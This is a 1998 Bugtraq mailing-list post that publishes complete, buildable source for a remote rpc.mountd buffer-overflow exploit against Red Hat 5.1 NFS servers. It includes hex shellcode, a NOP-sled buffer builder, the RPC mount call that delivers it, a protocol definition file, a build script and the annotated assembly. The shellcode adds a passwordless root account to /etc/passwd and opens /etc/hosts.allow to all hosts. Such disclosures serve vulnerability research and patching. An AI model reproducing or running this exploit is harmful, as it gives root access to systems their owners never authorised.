Bugtraq mailing list archives

rpc.mountd exploit


From: luci () TRANSART RO (Hudin Lucian)
Date: Wed, 30 Sep 1998 00:07:59 +0300


/*
    rpc.mountd [remote] exploit by LucySoft [ luci () transart ro ]

    [September 20, 1998]
    [version 0.4]

    tested on Red Hat Linux 5.1 (Manhattan)
    running nfs-server-2.2beta29

    I guess patches are available at ftp://ftp.redhat.com

    NOTE: if the remote host has /etc/exporfs non-empty,
    [shwomount -e remote_host]
    you must define __EXPORTS 2 and recompile

    I've tested on only two RH 5.1 systems, the offset was about 1000.

*/

#define __EXPORTFS      1


#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <netdb.h>
#include <rpc/rpc.h>
#include <rpc/pmap_prot.h>
#include <rpc/pmap_clnt.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/utsname.h>
#include <sys/stat.h>
#include <arpa/inet.h>
#include <linux/nfs.h>

#include "nfsmount.h"



static unsigned long            __offset = 1160;

/*
   check out code.c if you want to know what this means
*/

static char code[] =
{
    0xeb, 0x56, 0x5e, 0x56,
    0x56, 0x56, 0x31, 0xd2,
    0x88, 0x56, 0x0b, 0x88,
    0x56, 0x1e, 0x88, 0x56,

    0x27, 0x88, 0x56, 0x38,
    0xb2, 0x0a, 0x88, 0x56,
    0x1d, 0x88, 0x56, 0x26,
    0x5b, 0x31, 0xc9, 0x41,

    0x41, 0x31, 0xc0, 0xb0,
    0x05, 0xcd, 0x80, 0x50,
    0x89, 0xc3, 0x31, 0xc9,
    0x31, 0xd2, 0xb2, 0x02,

    0x31, 0xc0, 0xb0, 0x13,
    0xcd, 0x80, 0x58, 0x89,
    0xc2, 0x89, 0xc3, 0x59,
    0x52, 0x31, 0xd2, 0xb2,

    0x0c, 0x01, 0xd1, 0xb2,
    0x13, 0x31, 0xc0, 0xb0,
    0x04, 0x31, 0xd2, 0xb2,
    0x12, 0xcd, 0x80, 0x5b,

    0x31, 0xc0, 0xb0, 0x06,
    0xcd, 0x80, 0xeb, 0x3f,
    0xe8, 0xa5, 0xff, 0xff,
    0xff, 0x2f, 0x65, 0x74,

    0x63, 0x2f, 0x70, 0x61,
    0x73, 0x73, 0x77, 0x64,
    0x78, 0x7a, 0x3a, 0x3a,
    0x30, 0x3a, 0x30, 0x3a,

    0x3a, 0x2f, 0x3a, 0x2f,
    0x62, 0x69, 0x6e, 0x2f,
    0x73, 0x68, 0x78, 0x78,
    0x41, 0x4c, 0x4c, 0x3a,

    0x41, 0x4c, 0x4c, 0x78,
    0x78, 0x2f, 0x65, 0x74,
    0x63, 0x2f, 0x68, 0x6f,
    0x73, 0x74, 0x73, 0x2e,

    0x61, 0x6c, 0x6c, 0x6f,
    0x77, 0x78, 0xff, 0x5b,
    0x53, 0x31, 0xc9, 0xb1,
    0x28, 0x01, 0xcb, 0xb1,

    0x02, 0x31, 0xc0, 0xb0,
    0x05, 0xcd, 0x80, 0x50,
    0x89, 0xc3, 0x31, 0xc9,
    0x31, 0xd2, 0xb2, 0x02,

    0x31, 0xc0, 0xb0, 0x13,
    0xcd, 0x80, 0x5b, 0x59,
    0x53, 0x31, 0xd2, 0xb2,
    0x1f, 0x01, 0xd1, 0xb2,

    0x08, 0x31, 0xc0, 0xb0,
    0x04, 0xcd, 0x80, 0x5b,
    0x31, 0xc0, 0xb0, 0x06,
    0xcd, 0x80, 0x31, 0xc0,
    0x40, 0xcd, 0x80
};



unsigned long get_esp()
{
   __asm__("movl %esp,%eax");
}


void _fill_hostile_buffer(char *ptr)
{
    char        *buff;
    unsigned    retaddr = get_esp() + __offset;
    int         length;

    memset(ptr, 0x90, 1024);

    length = strlen(code);

    memcpy(ptr + 1024 - length - 40 - __EXPORTFS, code, length);
    buff = ptr + 1024 - 40 - __EXPORTFS;

    while (buff < (ptr + 1024))
    {
        *(unsigned*)buff = (unsigned)retaddr;
        buff += sizeof(unsigned);
    }
    ptr[1023] = '\0';

    fprintf(stderr, "code length = %d, used retaddr is %x\n", length, retaddr);

}

/*
    ripped off from nfsmount.c [ mount-2.7l.rpm - RH 5.1 ]
*/


int _nfsmount(char* hostname, char *dirname)
{
        CLIENT  *mclient;
        int     mountprog, mountvers;
        int     nfsprog, nfsvers;
        int     mountport = 0;
        int     clnt_stat;
        int     msock, fsock;

        struct  hostent *hp;
        struct  sockaddr_in server_addr;
        struct  fhstatus status;
        struct  timeval total_timeout, retry_timeout;



        if (!(hp = gethostbyname(hostname)))
        {
            fprintf(stderr, "mx: can't get address for %s\n", hostname);
            return(-1);
        }


        server_addr.sin_family = AF_INET;
        memcpy(&server_addr.sin_addr, hp->h_addr, hp->h_length);

        mountprog = MOUNTPROG;
        mountvers = MOUNTVERS;

        nfsprog = NFS_PROGRAM;
        nfsvers = NFS_VERSION;

        total_timeout.tv_usec = 0;
        total_timeout.tv_sec = 20;

        retry_timeout.tv_usec = 0;
        retry_timeout.tv_sec = 3;

        server_addr.sin_port = htons(mountport);
        msock = RPC_ANYSOCK;

        fprintf(stderr, "ok, attacking target %s\n", hp->h_name);

        mclient = clntudp_create(&server_addr,
            mountprog, mountvers,
            retry_timeout, &msock);

        if (mclient)
        {
            mclient->cl_auth = authunix_create_default();
            clnt_stat = clnt_call(mclient, MOUNTPROC_MNT,
                (xdrproc_t) xdr_dirpath, (caddr_t) &dirname,
                (xdrproc_t) xdr_fhstatus, (caddr_t) &status,
                total_timeout);

            if (clnt_stat != RPC_SUCCESS)
            {
                /*

                auth_destroy(mclient->cl_auth);
                clnt_destroy(mclient);
                close(msock);

                clnt_perror(mclient, "mx clnt_call");
                */
                return(msock);
            }
            fprintf(stderr, "successful clnt_call\n");
            return(msock);
        }
        else
        {
            clnt_pcreateerror("mx clntudp_create");
            return(-1);
        }


        auth_destroy(mclient->cl_auth);
        clnt_destroy(mclient);
        close(msock);
        return (-1);
}


int main(int argc, char *argv[])
{
    int         k, sock;
    char        hostilebuffer[4096];


    if (argc < 2)
    {
        fprintf(stderr, "usage : %s target_host [offset]\n", argv[0]);
        return(-1);
    }

    if (argc == 3)
    {
        __offset = strtol(argv[2], (char**)NULL, 10);
        fprintf(stderr, "using offset %d\n", __offset);
    }

    _fill_hostile_buffer(hostilebuffer);
    if (_nfsmount(argv[1], hostilebuffer) > 0)
    {
        fprintf(stderr, "seems that security on host %s was defeated\n",
            argv[1]);
    }

    return(0);
}


-------------------------------------------------------------------------
CUT_HERE next file is nfsmount.x
-------------------------------------------------------------------------

%/*
% * Sun RPC is a product of Sun Microsystems, Inc. and is provided for
% * unrestricted use provided that this legend is included on all tape
% * media and as a part of the software program in whole or part.  Users
% * may copy or modify Sun RPC without charge, but are not authorized
% * to license or distribute it to anyone else except as part of a product or
% * program developed by the user or with the express written consent of
% * Sun Microsystems, Inc.
% *
% * SUN RPC IS PROVIDED AS IS WITH NO WARRANTIES OF ANY KIND INCLUDING THE
% * WARRANTIES OF DESIGN, MERCHANTIBILITY AND FITNESS FOR A PARTICULAR
% * PURPOSE, OR ARISING FROM A COURSE OF DEALING, USAGE OR TRADE PRACTICE.
% *
% * Sun RPC is provided with no support and without any obligation on the
% * part of Sun Microsystems, Inc. to assist in its use, correction,
% * modification or enhancement.
% *
% * SUN MICROSYSTEMS, INC. SHALL HAVE NO LIABILITY WITH RESPECT TO THE
% * INFRINGEMENT OF COPYRIGHTS, TRADE SECRETS OR ANY PATENTS BY SUN RPC
% * OR ANY PART THEREOF.
% *
% * In no event will Sun Microsystems, Inc. be liable for any lost revenue
% * or profits or other special, indirect and consequential damages, even if
% * Sun has been advised of the possibility of such damages.
% *
% * Sun Microsystems, Inc.
% * 2550 Garcia Avenue
% * Mountain View, California  94043
% */

%/*
% * Copyright (c) 1985, 1990 by Sun Microsystems, Inc.
% */
%
%/* from @(#)mount.x    1.3 91/03/11 TIRPC 1.0 */

/*
 * Protocol description for the mount program
 */

#ifdef RPC_HDR
%#ifndef _rpcsvc_mount_h
%#define _rpcsvc_mount_h
#endif

#ifdef RPC_CLNT
%#include <string.h>            /* for memset() */
#endif

const MNTPATHLEN = 1024;        /* maximum bytes in a pathname argument */
const MNTNAMLEN = 255;          /* maximum bytes in a name argument */
const FHSIZE = 32;              /* size in bytes of a file handle */

/*
 * The fhandle is the file handle that the server passes to the client.
 * All file operations are done using the file handles to refer to a file
 * or a directory. The file handle can contain whatever information the
 * server needs to distinguish an individual file.
 */
typedef opaque fhandle[FHSIZE];

/*
 * If a status of zero is returned, the call completed successfully, and
 * a file handle for the directory follows. A non-zero status indicates
 * some sort of error. The status corresponds with UNIX error numbers.
 */
union fhstatus switch (unsigned fhs_status) {
case 0:
        fhandle fhs_fhandle;
default:
        void;
};

/*
 * The type dirpath is the pathname of a directory
 */
typedef string dirpath<MNTPATHLEN>;

/*
 * The type name is used for arbitrary names (hostnames, groupnames)
 */
typedef string name<MNTNAMLEN>;

/*
 * A list of who has what mounted
 */
typedef struct mountbody *mountlist;
struct mountbody {
        name ml_hostname;
        dirpath ml_directory;
        mountlist ml_next;
};

/*
 * A list of netgroups
 */
typedef struct groupnode *groups;
struct groupnode {
        name gr_name;
        groups gr_next;
};

/*
 * A list of what is exported and to whom
 */
typedef struct exportnode *exports;
struct exportnode {
        dirpath ex_dir;
        groups ex_groups;
        exports ex_next;
};

/*
 * POSIX pathconf information
 */
struct ppathcnf {
        int     pc_link_max;    /* max links allowed */
        short   pc_max_canon;   /* max line len for a tty */
        short   pc_max_input;   /* input a tty can eat all at once */
        short   pc_name_max;    /* max file name length (dir entry) */
        short   pc_path_max;    /* max path name length (/x/y/x/.. ) */
        short   pc_pipe_buf;    /* size of a pipe (bytes) */
        u_char  pc_vdisable;    /* safe char to turn off c_cc[i] */
        char    pc_xxx;         /* alignment padding; cc_t == char */
        short   pc_mask[2];     /* validity and boolean bits */
};

program MOUNTPROG {
        /*
         * Version one of the mount protocol communicates with version two
         * of the NFS protocol. The only connecting point is the fhandle
         * structure, which is the same for both protocols.
         */
        version MOUNTVERS {
                /*
                 * Does no work. It is made available in all RPC services
                 * to allow server reponse testing and timing
                 */
                void
                MOUNTPROC_NULL(void) = 0;

                /*
                 * If fhs_status is 0, then fhs_fhandle contains the
                 * file handle for the directory. This file handle may
                 * be used in the NFS protocol. This procedure also adds
                 * a new entry to the mount list for this client mounting
                 * the directory.
                 * Unix authentication required.
                 */
                fhstatus
                MOUNTPROC_MNT(dirpath) = 1;

                /*
                 * Returns the list of remotely mounted filesystems. The
                 * mountlist contains one entry for each hostname and
                 * directory pair.
                 */
                mountlist
                MOUNTPROC_DUMP(void) = 2;

                /*
                 * Removes the mount list entry for the directory
                 * Unix authentication required.
                 */
                void
                MOUNTPROC_UMNT(dirpath) = 3;

                /*
                 * Removes all of the mount list entries for this client
                 * Unix authentication required.
                 */
                void
                MOUNTPROC_UMNTALL(void) = 4;

                /*
                 * Returns a list of all the exported filesystems, and which
                 * machines are allowed to import it.
                 */
                exports
                MOUNTPROC_EXPORT(void)  = 5;

                /*
                 * Identical to MOUNTPROC_EXPORT above
                 */
                exports
                MOUNTPROC_EXPORTALL(void) = 6;
        } = 1;

        /*
         * Version two of the mount protocol communicates with version two
         * of the NFS protocol.
         * The only difference from version one is the addition of a POSIX
         * pathconf call.
         */
        version MOUNTVERS_POSIX {
                /*
                 * Does no work. It is made available in all RPC services
                 * to allow server reponse testing and timing
                 */
                void
                MOUNTPROC_NULL(void) = 0;

                /*
                 * If fhs_status is 0, then fhs_fhandle contains the
                 * file handle for the directory. This file handle may
                 * be used in the NFS protocol. This procedure also adds
                 * a new entry to the mount list for this client mounting
                 * the directory.
                 * Unix authentication required.
                 */
                fhstatus
                MOUNTPROC_MNT(dirpath) = 1;

                /*
                 * Returns the list of remotely mounted filesystems. The
                 * mountlist contains one entry for each hostname and
                 * directory pair.
                 */
                mountlist
                MOUNTPROC_DUMP(void) = 2;

                /*
                 * Removes the mount list entry for the directory
                 * Unix authentication required.
                 */
                void
                MOUNTPROC_UMNT(dirpath) = 3;

                /*
                 * Removes all of the mount list entries for this client
                 * Unix authentication required.
                 */
                void
                MOUNTPROC_UMNTALL(void) = 4;

                /*
                 * Returns a list of all the exported filesystems, and which
                 * machines are allowed to import it.
                 */
                exports
                MOUNTPROC_EXPORT(void)  = 5;

                /*
                 * Identical to MOUNTPROC_EXPORT above
                 */
                exports
                MOUNTPROC_EXPORTALL(void) = 6;

                /*
                 * POSIX pathconf info (Sun hack)
                 */
                ppathcnf
                MOUNTPROC_PATHCONF(dirpath) = 7;
        } = 2;
} = 100005;

#ifdef RPC_HDR
%#endif /*!_rpcsvc_mount_h*/
#endif


------------------------------------------------------------------------
CUT_HERE: next file is makeit [ script for building the stuff ]
------------------------------------------------------------------------

#!/bin/bash

rpcgen -C nfsmount.x
gcc -c -g nfsmount.c
gcc -o mx nfsmount.o nfsmount_xdr.c

---------------------------------------------------------------------------
CUT_HERE: next file is the asm code... just to have the entire source code
---------------------------------------------------------------------------

/*

  really ugly code. It does :

  int fd = open("/etc/passwd", O_RDWR);
  lseek(fd, 0, SEEK_END);
  write(fd, "z::0:0::/:/bin/sh\n", 18);
  close(fd);

  int fd = open("/etc/hosts.allow", O_RDWR);
  lseek(fd, 0, SEEK_END);
  write(fd, "ALL:ALL\n", 8);
  close(fd);

  exit(?);

*/

#include <stdio.h>

main()
{
    __asm__("jmp eofcode
            here:
            popl %esi
            pushl %esi
            pushl %esi
            pushl %esi

            xorl %edx, %edx
            movb %dl, 11(%esi)
            movb %dl, 30(%esi)
            movb %dl, 39(%esi)
            movb %dl, 56(%esi)
            movb $0x0a, %dl
            movb %dl, 29(%esi)
            movb %dl, 38(%esi)
            popl %ebx
            xorl %ecx, %ecx
            incl %ecx
            incl %ecx
            xor %eax, %eax
            movb $0x05, %al
            int  $0x80

            pushl %eax

            movl %eax, %ebx
            xorl %ecx, %ecx
            xorl %edx, %edx
            movb $0x02, %dl
            xorl %eax, %eax
            movb $0x13, %al
            int  $0x80

            popl %eax

            movl %eax, %edx
            movl %eax, %ebx
            popl %ecx
            pushl %edx
            xorl %edx, %edx
            movb $0x0c, %dl
            addl %edx, %ecx
            movb $0x13, %dl
            xorl %eax, %eax
            movb $0x04, %al
            xorl %edx, %edx
            movb $0x12, %dl
            int  $0x80

            popl %ebx
            xorl %eax, %eax
            movb $0x06, %al
            int  $0x80

            jmp  cont1


            eofcode:
            call here
            .string \"/etc/passwdxz::0:0::/:/bin/shxxALL:ALLxx/etc/hosts.allowx\"

            cont1:

            popl %ebx
            pushl %ebx
            xorl %ecx, %ecx
            movb $40, %cl
            addl %ecx, %ebx
            movb $02, %cl
            xor  %eax, %eax
            movb $05, %al
            int  $0x80


            pushl %eax

            movl %eax, %ebx
            xorl %ecx, %ecx
            xorl %edx, %edx
            movb $0x02, %dl
            xorl %eax, %eax
            movb $0x13, %al
            int  $0x80

            popl %ebx

            popl %ecx

            pushl %ebx

            xorl %edx, %edx
            movb $31, %dl
            addl %edx, %ecx
            movb $8, %dl
            xorl %eax, %eax
            movb $4, %al
            int  $0x80


            popl %ebx
            xorl %eax, %eax
            movb $0x06, %al
            int  $0x80

            xor  %eax, %eax
            incl %eax
            int  $0x80

            .string \"theeeeeeeeeeend\"
            ");

}



Current thread: